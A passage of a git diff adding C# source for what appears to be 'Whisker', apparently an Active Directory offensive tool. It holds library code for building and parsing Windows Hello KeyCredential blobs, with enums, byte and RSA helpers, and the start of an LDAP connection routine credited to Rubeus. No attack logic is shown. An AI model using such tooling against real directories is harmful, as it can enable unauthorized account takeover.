propertyWriter.Write((ushort)binaryLastLogonTime.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp); + propertyWriter.Write(binaryLastLogonTime); + } + + // Creation Time + byte[] binaryCreationTime = ConvertToBinaryTime(this.CreationTime, this.Source, this.Version); + propertyWriter.Write((ushort)binaryCreationTime.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyCreationTime); + propertyWriter.Write(binaryCreationTime); + } + binaryProperties = propertyStream.ToArray(); + } + + using (var blobStream = new MemoryStream()) + { + using (var blobWriter = new BinaryWriter(blobStream)) + { + // Version + blobWriter.Write((uint)this.Version); + + // Key Identifier + byte[] binaryKeyId = ConvertToBinaryIdentifier(this.Identifier, this.Version); + blobWriter.Write((ushort)binaryKeyId.Length); + blobWriter.Write((byte)KeyCredentialEntryType.KeyID); + blobWriter.Write(binaryKeyId); + + // Key Hash + byte[] keyHash = ComputeHash(binaryProperties); + blobWriter.Write((ushort)keyHash.Length); + blobWriter.Write((byte)KeyCredentialEntryType.KeyHash); + blobWriter.Write(keyHash); + + // Append the remaining entries + blobWriter.Write(binaryProperties); + } + return blobStream.ToArray(); + } + } + + public string ToDNWithBinary() + { + // This method should only be used when the owner is in the form of a Distinguished Name. + return new DNWithBinary(this.Owner, this.ToByteArray()).ToString(); + } + + public static KeyCredential ParseDNBinary(string dnWithBinary) + { + Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); + var parsed = DNWithBinary.Parse(dnWithBinary); + return new KeyCredential(parsed.Binary, parsed.DistinguishedName); + } + + private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource source, KeyCredentialVersion version) + { + long timeStamp = BitConverter.ToInt64(binaryTime, 0); + + // AD and AAD use a different time encoding. + switch (version) + { + case KeyCredentialVersion.Version0: + return new DateTime(timeStamp); + case KeyCredentialVersion.Version1: + return DateTime.FromBinary(timeStamp); + case KeyCredentialVersion.Version2: + default: + return source == KeySource.AD ? DateTime.FromFileTime(timeStamp) : DateTime.FromBinary(timeStamp); + } + } + + private static byte[] ConvertToBinaryTime(DateTime time, KeySource source, KeyCredentialVersion version) + { + long timeStamp; + switch (version) + { + case KeyCredentialVersion.Version0: + timeStamp = time.Ticks; + break; + case KeyCredentialVersion.Version1: + timeStamp = time.ToBinary(); + break; + case KeyCredentialVersion.Version2: + default: + timeStamp = source == KeySource.AD ? time.ToFileTime() : time.ToBinary(); + break; + } + + return BitConverter.GetBytes(timeStamp); + } + + private static byte[] ComputeHash(byte[] data) + { + using (var sha256 = new SHA256Managed()) + { + return sha256.ComputeHash(data); + } + } + + private static string ComputeKeyIdentifier(byte[] keyMaterial, KeyCredentialVersion version) + { + byte[] binaryId = ComputeHash(keyMaterial); + return ConvertFromBinaryIdentifier(binaryId, version); + } + + private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredentialVersion version) + { + switch (version) + { + case KeyCredentialVersion.Version0: + case KeyCredentialVersion.Version1: + return binaryId.ToHex(true); + case KeyCredentialVersion.Version2: + default: + return Convert.ToBase64String(binaryId); + } + } + + private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredentialVersion version) + { + switch (version) + { + case KeyCredentialVersion.Version0: + case KeyCredentialVersion.Version1: + return keyIdentifier.HexToBinary(); + case KeyCredentialVersion.Version2: + default: + return Convert.FromBase64String(keyIdentifier); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs new file mode 100644 index 000000000..95b6a1833 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs @@ -0,0 +1,55 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Credential Link Entry Identifier + /// + /// Describes the data stored in the Value field. + /// https://msdn.microsoft.com/en-us/library/mt220499.aspx + public enum KeyCredentialEntryType : byte + { + /// + /// A SHA256 hash of the Value field of the KeyMaterial entry. + /// + KeyID = 0x01, + + /// + /// A SHA256 hash of all entries following this entry. + /// + KeyHash = 0x02, + + /// + /// Key material of the credential. + /// + KeyMaterial = 0x03, + + /// + /// Key Usage + /// + KeyUsage = 0x04, + + /// + /// Key Source + /// + KeySource = 0x05, + + /// + /// Device Identifier + /// + DeviceId = 0x06, + + /// + /// Custom key information. + /// + CustomKeyInformation = 0x07, + + /// + /// The approximate time this key was last used, in FILETIME format. + /// + KeyApproximateLastLogonTimeStamp = 0x08, + + /// + /// The approximate time this key was created, in FILETIME format. + /// + KeyCreationTime = 0x09 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs new file mode 100644 index 000000000..27e2c13a3 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs @@ -0,0 +1,13 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Credential Link Blob Structure Version + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeyCredentialVersion : uint + { + Version0 = 0, + Version1 = 0x00000100, + Version2 = 0x00000200, + } +} \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs new file mode 100644 index 000000000..ff7556658 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs @@ -0,0 +1,27 @@ +using System; + +namespace DSInternals.Common.Data +{ + /// + /// Custom Key Flags + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + [Flags] + public enum KeyFlags : byte + { + /// + /// No flags specified. + /// + None = 0, + + /// + /// Reserved for future use. (CUSTOMKEYINFO_FLAGS_ATTESTATION) + /// + Attestation = 0x01, + + /// + /// During creation of this key, the requesting client authenticated using only a single credential. (CUSTOMKEYINFO_FLAGS_MFA_NOT_USED) + /// + MFANotUsed = 0x02, + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs new file mode 100644 index 000000000..a9c2f9258 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs @@ -0,0 +1,19 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Source + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeySource : byte + { + /// + /// On Premises Key Trust + /// + AD = 0x00, + + /// + /// Hybrid Azure AD Key Trust + /// + AzureAD = 0x01 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs new file mode 100644 index 000000000..0b3ff1038 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs @@ -0,0 +1,24 @@ +namespace DSInternals.Common.Data +{ + /// + /// Specifies the strength of the NGC key. + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + public enum KeyStrength : byte + { + /// + /// Key strength is unknown. + /// + Unknown = 0x00, + + /// + /// Key strength is weak. + /// + Weak = 0x01, + + /// + /// Key strength is normal. + /// + Normal = 0x02 + } +} \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs new file mode 100644 index 000000000..28b07dd7f --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs @@ -0,0 +1,47 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Usage + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeyUsage : byte + { + // Admin key (pin-reset key) + AdminKey = 0, + + /// + /// NGC key attached to a user object (KEY_USAGE_NGC) + /// + NGC = 0x01, + + /// + /// Transport key attached to a device object + /// + STK = 0x02, + + /// + /// BitLocker recovery key + /// + BitlockerRecovery = 0x03, + + /// + /// Unrecognized key usage + /// + Other = 0x04, + + /// + /// Fast IDentity Online Key (KEY_USAGE_FIDO) + /// + FIDO = 0x07, + + /// + /// File Encryption Key (KEY_USAGE_FEK) + /// + FEK = 0x08, + + /// + /// DPAPI Key + /// + DPAPI // TODO: The DPAPI enum needs to be mapped to a proper integer value. + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs new file mode 100644 index 000000000..57e6a7dfb --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs @@ -0,0 +1,29 @@ +namespace DSInternals.Common.Data +{ + /// + /// Specifies the volume type. + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + public enum VolumeType : byte + { + /// + /// Volume not specified. + /// + None = 0x00, + + /// + /// Operating system volume (OSV). + /// + OperatingSystem = 0x01, + + /// + /// Fixed data volume (FDV). + /// + Fixed = 0x02, + + /// + /// Removable data volume (RDV). + /// + Removable = 0x03 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs b/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs new file mode 100644 index 000000000..ea5074a21 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs @@ -0,0 +1,236 @@ +namespace DSInternals.Common +{ + using System; + using System.IO; + using System.Security; + using System.Security.Principal; + using System.Text; + using DSInternals.Common.Properties; + + public static class ByteArrayExtensions + { + private const string HexDigitsUpper = "0123456789ABCDEF"; + private const string HexDigitsLower = "0123456789abcdef"; + + public static void ZeroFill(this byte[] array) + { + Array.Clear(array, 0, array.Length); + } + + public static byte[] HexToBinary(this string hex, int startIndex, int length) + { + // Input validation + Validator.AssertNotNull(hex, nameof(hex)); + + if (length % 2 != 0) + { + // Each byte in a HEX string must be encoded using 2 characters. + var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + exception.Data.Add("Value", hex); + throw exception; + } + + if(startIndex < 0 || startIndex >= hex.Length ) + { + throw new ArgumentOutOfRangeException(nameof(startIndex)); + } + + if (length < 0 || startIndex + length > hex.Length) + { + throw new ArgumentOutOfRangeException(nameof(length)); + } + + // Prepare the result + byte[] bytes = new byte[length / 2]; + + // Perform the conversion + for (int nibbleIndex = 0, byteIndex = 0; nibbleIndex < length; byteIndex = ++nibbleIndex / 2) + { + char nibble = hex[startIndex + nibbleIndex]; + + if ('0' <= nibble && nibble <= '9') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - '0')); + } + else if ('a' <= nibble && nibble <= 'f') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - 'a' + 0xA)); + } + else if ('A' <= nibble && nibble <= 'F') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - 'A' + 0xA)); + } + else + { + // Invalid digit + var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + exception.Data.Add("Value", hex); + throw exception; + } + } + + return bytes; + } + + public static byte[] HexToBinary(this string hex) + { + // Trivial case + if (String.IsNullOrEmpty(hex)) + { + return null; + } + + return hex.HexToBinary(0, hex.Length); + } + + public static string ToHex(this byte[] bytes, bool caps = false) + { + if (bytes == null) + { + return null; + } + + string hexDigits = caps ? HexDigitsUpper : HexDigitsLower; + + StringBuilder hex = new StringBuilder(bytes.Length * 2); + foreach(byte currentByte in bytes) + { + hex.Append(hexDigits[(int)(currentByte >> 4)]); + hex.Append(hexDigits[(int)(currentByte & 0xF)]); + } + + return hex.ToString(); + } + + public static SecureString ReadSecureWString(this byte[] buffer, int startIndex) + { + Validator.AssertNotNull(buffer, nameof(buffer)); + // TODO: Assert startIndex > 0 + int maxLength = buffer.Length - startIndex; + + // Prepare an empty SecureString that will eventually be returned + var result = new SecureString(); + + for (int i = startIndex; i < buffer.Length; i += UnicodeEncoding.CharSize) + { + // Convert the next 2 bytes from the byte array into a unicode character + char c = BitConverter.ToChar(buffer, i); + + if (c == Char.MinValue) + { + // End of string has been reached + return result; + } + + result.AppendChar(c); + } + + // If we reached this point, the \0 char has not been found, so throw an exception. + // TODO: Add a reasonable exception message + throw new ArgumentException(); + } + + public static void SwapBytes(this byte[] bytes, int index1, int index2) + { + byte temp = bytes[index1]; + bytes[index1] = bytes[index2]; + bytes[index2] = temp; + } + + /// + /// Encodes an integer into a 4-byte array, in big endian. + /// + /// The integer to encode. + /// Array of bytes, in big endian order. + public static byte[] GetBigEndianBytes(this uint number) + { + byte[] bytes = BitConverter.GetBytes(number); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + return bytes; + } + + public static uint ToUInt32BigEndian(this byte[] bytes, int startIndex = 0) + { + if(BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + + return BitConverter.ToUInt32(bytes, startIndex); + } + + public static ushort ToUInt16BigEndian(this byte[] bytes, int startIndex = 0) + { + if (BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + + return BitConverter.ToUInt16(bytes, startIndex); + } + + public static Guid ToGuidBigEndian(this byte[] bytes) + { + if (BitConverter.IsLittleEndian) + { + bytes.SwapBytes(0, 3); + bytes.SwapBytes(1, 2); + bytes.SwapBytes(4, 5); + bytes.SwapBytes(6, 7); + } + + return new Guid(bytes); + } + + public static SecurityIdentifier ToSecurityIdentifier(this byte[] binarySid, bool bigEndianRid = false) + { + if(binarySid == null) + { + return null; + } + byte[] output = binarySid; + if (bigEndianRid) + { + // Clone the binary SID so we do not perform byte spapping on the original value. + byte[] binarySidCopy = (byte[])binarySid.Clone(); + int lastByteIndex = binarySidCopy.Length -1; + // Convert RID from big endian to little endian (Reverse the order of the last 4 bytes) + binarySidCopy.SwapBytes(lastByteIndex - 3, lastByteIndex); + binarySidCopy.SwapBytes(lastByteIndex - 2, lastByteIndex - 1); + output = binarySidCopy; + } + return new SecurityIdentifier(output, 0); + } + + public static byte[] Cut(this byte[] blob, int offset) + { + Validator.AssertNotNull(blob, "blob"); + return blob.Cut(offset, blob.Length - offset); + } + + public static byte[] Cut(this byte[] blob, int offset, int count) + { + Validator.AssertNotNull(blob, "blob"); + Validator.AssertMinLength(blob, offset + count, "blob"); + // TODO: Check that offset and count are positive using Validator + byte[] result = new byte[count]; + Buffer.BlockCopy((Array)blob, offset, (Array)result, 0, count); + return result; + } + + public static byte[] ReadToEnd(this MemoryStream stream) + { + long remainingBytes = stream.Length - stream.Position; + if(remainingBytes > int.MaxValue) + { + throw new ArgumentOutOfRangeException("stream"); + } + byte[] buffer = new byte[remainingBytes]; + stream.Read(buffer, 0, (int)remainingBytes); + return buffer; + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs b/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs new file mode 100644 index 000000000..e9114112d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs @@ -0,0 +1,138 @@ +using System; +using System.Linq; +using System.Numerics; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace DSInternals.Common +{ + public static class RSAExtensions + { + private const int BCryptKeyBlobHeaderSize = 6 * sizeof(uint); + private const uint BCryptRSAPublicKeyMagic = 0x31415352; // "RSA1" in ASCII + private const int TPM20KeyBlobHeaderSize = 4 * sizeof(int) + 9 * sizeof(uint); + private const uint TPM20PublicKeyMagic = 0x4d504350; // "MPCP" in ASCII + private const byte DERSequenceTag = 0x30; + private const int DERPublicKeyMinSize = 260; // At least 2K RSA modulus + 3B public exponent + 1B sequence tag + + /// + /// OID 1.2.840.113549.1.1.1 - Identifier for RSA encryption for use with Public Key Cryptosystem One defined by RSA Inc. + /// + private static readonly Oid RsaOid = Oid.FromFriendlyName("RSA", OidGroup.PublicKeyAlgorithm); + + /// + /// ASN.1 Tag NULL + /// + private static readonly AsnEncodedData Asn1Null = new AsnEncodedData(new byte[] { 5, 0 }); + + /// + /// BCRYPT_PUBLIC_KEY_BLOB Format + /// + private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat("RSAPUBLICBLOB"); + + + /// + /// Converts a RSA public key to BCRYPT_RSAKEY_BLOB. + /// + public static byte[] ExportRSAPublicKeyBCrypt(this X509Certificate2 certificate) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + using (var rsa = (RSACng)certificate.GetRSAPublicKey()) + { + using(var key = rsa.Key) + { + return key.Export(BCryptRSAPublicKeyFormat); + } + } + } + + /// + /// Decodes a public key from a BCRYPT_RSAKEY_BLOB structure. + /// + public static RSAParameters ImportRSAPublicKeyBCrypt(this byte[] blob) + { + Validator.AssertNotNull(blob, nameof(blob)); + + using (var key = CngKey.Import(blob, BCryptRSAPublicKeyFormat)) + { + using (var rsa = new RSACng(key)) + { + return rsa.ExportParameters(false); + } + } + } + + /// + /// Exports a RSA public key to the DER format. + /// + public static byte[] ExportRSAPublicKeyDER(this X509Certificate2 certificate) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + return certificate.PublicKey.EncodedKeyValue.RawData; + } + + /// + /// Decodes a DER RSA public key. + /// + public static RSAParameters ImportRSAPublicKeyDER(this byte[] blob) + { + Validator.AssertNotNull(blob, nameof(blob)); + + var asn1Key = new AsnEncodedData(blob); + var publicKey = new PublicKey(RsaOid, Asn1Null, asn1Key); + using (var rsaKey = (RSACryptoServiceProvider)publicKey.Key) + { + return rsaKey.ExportParameters(false); + } + } + + /// + /// Checks whether the input blob is in the BCRYPT_RSAKEY_BLOB format. + /// + public static bool IsBCryptRSAPublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < BCryptKeyBlobHeaderSize) + { + return false; + } + + // Check if the byte sequence starts with the magic + return BitConverter.ToUInt32(blob, 0) == BCryptRSAPublicKeyMagic; + } + + /// + /// Checks whether the input blob is in the PCP_KEY_BLOB_WIN8 format. + /// + public static bool IsTPM20PublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < TPM20KeyBlobHeaderSize) + { + return false; + } + + // Check if the byte sequence starts with the magic + return BitConverter.ToUInt32(blob, 0) == TPM20PublicKeyMagic; + } + + /// + /// Checks whether the input blob is a DER-encoded public key. + /// + public static bool IsDERPublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < DERPublicKeyMinSize) + { + return false; + } + + // Check if the byte sequence starts with a DER sequence tag. This is a very vague test. + return blob[0] == DERSequenceTag; + } + + public static bool IsWeakKey(this RSAParameters publicKey) + { + return false; + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs new file mode 100644 index 000000000..91978e782 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs @@ -0,0 +1,225 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace DSInternals.Common.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + public class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + public static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DSInternals.Common.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + public static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized string similar to Directory schema does not contain attribute '{0}'.. + /// + public static string AttributeNotFoundMessageFormat { + get { + return ResourceManager.GetString("AttributeNotFoundMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Error parsing distinguished name.. + /// + public static string DNParsingErrorMessage { + get { + return ResourceManager.GetString("DNParsingErrorMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input is longer than the maximum length.. + /// + public static string InputLongerThanMaxMessage { + get { + return ResourceManager.GetString("InputLongerThanMaxMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input is shorter than the minimum length.. + /// + public static string InputShorterThanMinMessage { + get { + return ResourceManager.GetString("InputShorterThanMinMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to CRC check failed.. + /// + public static string InvalidCRCMessage { + get { + return ResourceManager.GetString("InvalidCRCMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Parameter is not in the DN-Binary format.. + /// + public static string NotDNWithBinaryMessage { + get { + return ResourceManager.GetString("NotDNWithBinaryMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Parameter is not a hexadecimal string.. + /// + public static string NotHexStringMessage { + get { + return ResourceManager.GetString("NotHexStringMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object is not an account.. + /// + public static string ObjectNotAccountMessage { + get { + return ResourceManager.GetString("ObjectNotAccountMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Could not find the requested object.. + /// + public static string ObjectNotFoundMessage { + get { + return ResourceManager.GetString("ObjectNotFoundMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object is not a security principal.. + /// + public static string ObjectNotSecurityPrincipalMessage { + get { + return ResourceManager.GetString("ObjectNotSecurityPrincipalMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object with identity '{0}' has not been found.. + /// + public static string ObjectWithIdentityNotFoundMessageFormat { + get { + return ResourceManager.GetString("ObjectWithIdentityNotFoundMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to {0} (Object identity: '{1}'). + /// + public static string OperationExceptionMessageFormat { + get { + return ResourceManager.GetString("OperationExceptionMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Path not found.. + /// + public static string PathNotFoundMessage { + get { + return ResourceManager.GetString("PathNotFoundMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The length of the input is unexpected.. + /// + public static string UnexpectedLengthMessage { + get { + return ResourceManager.GetString("UnexpectedLengthMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Unexpected length of the supplemental credentials structure.. + /// + public static string UnexpectedSupplementalCredsLengthMessage { + get { + return ResourceManager.GetString("UnexpectedSupplementalCredsLengthMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Supplemental credentials do not have a valid signature.. + /// + public static string UnexpectedSupplementalCredsSignatureMessage { + get { + return ResourceManager.GetString("UnexpectedSupplementalCredsSignatureMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input contains an unexpected value '{0}', while the expected value is '{1}'.. + /// + public static string UnexpectedValueMessage { + get { + return ResourceManager.GetString("UnexpectedValueMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Unsupported secret encryption algorithm.. + /// + public static string UnsupportedSecretEncryptionType { + get { + return ResourceManager.GetString("UnsupportedSecretEncryptionType", resourceCulture); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx new file mode 100644 index 000000000..eaaf1663c --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Directory schema does not contain attribute '{0}'. + + + Error parsing distinguished name. + + + The input is longer than the maximum length. + + + The input is shorter than the minimum length. + + + CRC check failed. + + + Parameter is not in the DN-Binary format. + + + Parameter is not a hexadecimal string. + + + Object is not an account. + + + Could not find the requested object. + + + Object is not a security principal. + + + Object with identity '{0}' has not been found. + + + {0} (Object identity: '{1}') + + + Path not found. + + + The length of the input is unexpected. + + + Unexpected length of the supplemental credentials structure. + + + Supplemental credentials do not have a valid signature. + + + The input contains an unexpected value '{0}', while the expected value is '{1}'. + + + Unsupported secret encryption algorithm. + + \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Validator.cs b/repos/Whisker/Whisker/DSInternals.Common/Validator.cs new file mode 100644 index 000000000..d41aff48d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Validator.cs @@ -0,0 +1,117 @@ +using System; +using System.IO; +using System.Security; +using DSInternals.Common.Properties; + +namespace DSInternals.Common +{ + public static class Validator + { + public static void AssertEquals(string expectedValue, string actualValue, string paramName) + { + if(!String.Equals(expectedValue, actualValue, StringComparison.InvariantCulture)) + { + string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + throw new ArgumentException(message, paramName); + } + } + + public static void AssertEquals(char expectedValue, char actualValue, string paramName) + { + if (expectedValue.CompareTo(actualValue) != 0) + { + string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + throw new ArgumentException(message, paramName); + } + } + + public static void AssertNotNull(object value, string paramName) + { + if(value == null) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertNotNullOrEmpty(string value, string paramName) + { + if (String.IsNullOrEmpty(value)) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertNotNullOrWhiteSpace(string value, string paramName) + { + if(string.IsNullOrWhiteSpace(value)) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertLength(string value, int length, string paramName) + { + AssertNotNull(value, paramName); + if(value.Length != length) + { + throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + } + } + + public static void AssertMaxLength(SecureString password, int maxLength, string paramName) + { + AssertNotNull(password, paramName); + if (password.Length > maxLength) + { + throw new ArgumentOutOfRangeException(paramName, password.Length, Resources.InputLongerThanMaxMessage); + } + } + + public static void AssertMaxLength(string input, int maxLength, string paramName) + { + AssertNotNull(input, paramName); + if (input.Length > maxLength) + { + throw new ArgumentOutOfRangeException(paramName, input.Length, Resources.InputLongerThanMaxMessage); + } + } + + public static void AssertMinLength(byte[] data, int minLength, string paramName) + { + AssertNotNull(data, paramName); + if (data.Length < minLength) + { + var exception = new ArgumentOutOfRangeException(paramName, data.Length, Resources.InputShorterThanMinMessage); + // DEBUG: exception.Data.Add("BinaryBlob", data.ToHex()); + throw exception; + } + } + + public static void AssertLength(byte[] value, long length, string paramName) + { + AssertNotNull(value, paramName); + if (value.Length != length) + { + throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + } + } + + public static void AssertFileExists(string filePath) + { + bool exists = File.Exists(filePath); + if(!exists) + { + throw new FileNotFoundException(Resources.PathNotFoundMessage, filePath); + } + } + + public static void AssertDirectoryExists(string directoryPath) + { + bool exists = Directory.Exists(directoryPath); + if (!exists) + { + throw new DirectoryNotFoundException(Resources.PathNotFoundMessage); + } + } + } +} diff --git a/repos/Whisker/Whisker/Program.cs b/repos/Whisker/Whisker/Program.cs new file mode 100644 index 000000000..cbe2c28a4 --- /dev/null +++ b/repos/Whisker/Whisker/Program.cs @@ -0,0 +1,563 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using DSInternals.Common.Data; +using System.DirectoryServices; +using System.DirectoryServices.ActiveDirectory; +using System.Collections.Generic; +using System.Reflection; + +namespace Whisker +{ + public class Program + { + //Code taken from Rubeus + private static DirectoryEntry GetLdapSearchRoot(string OUName, string domainController, string domain) + { + DirectoryEntry directoryObject = null; + string ldapPrefix = ""; + string ldapOu = ""; + + //If we have a DC then use that instead of the domain name so that this works if user doesn't have + //name resolution working but specified the IP of a DC + if (!String.IsNullOrEmpty(domainController)) + { + ldapPrefix = domainController; + } + else if (!String.IsNullOrEmpty(domain)) //If we don't have a DC then use the domain name (if we have one) + { + ldapPrefix = domain; + } + + if (!String.IsNullOrEmpty(OUName)) + { + ldapOu = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); + } + else if (!String.IsNullOrEmpty(domain)) + { + ldapOu = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + //If no DC, domain, credentials, or OU were specified + if (String.IsNullOrEmpty(ldapPrefix) && String.IsNullOrEmpty(ldapOu)) + { + directoryObject = new DirectoryEntry(); + } + else 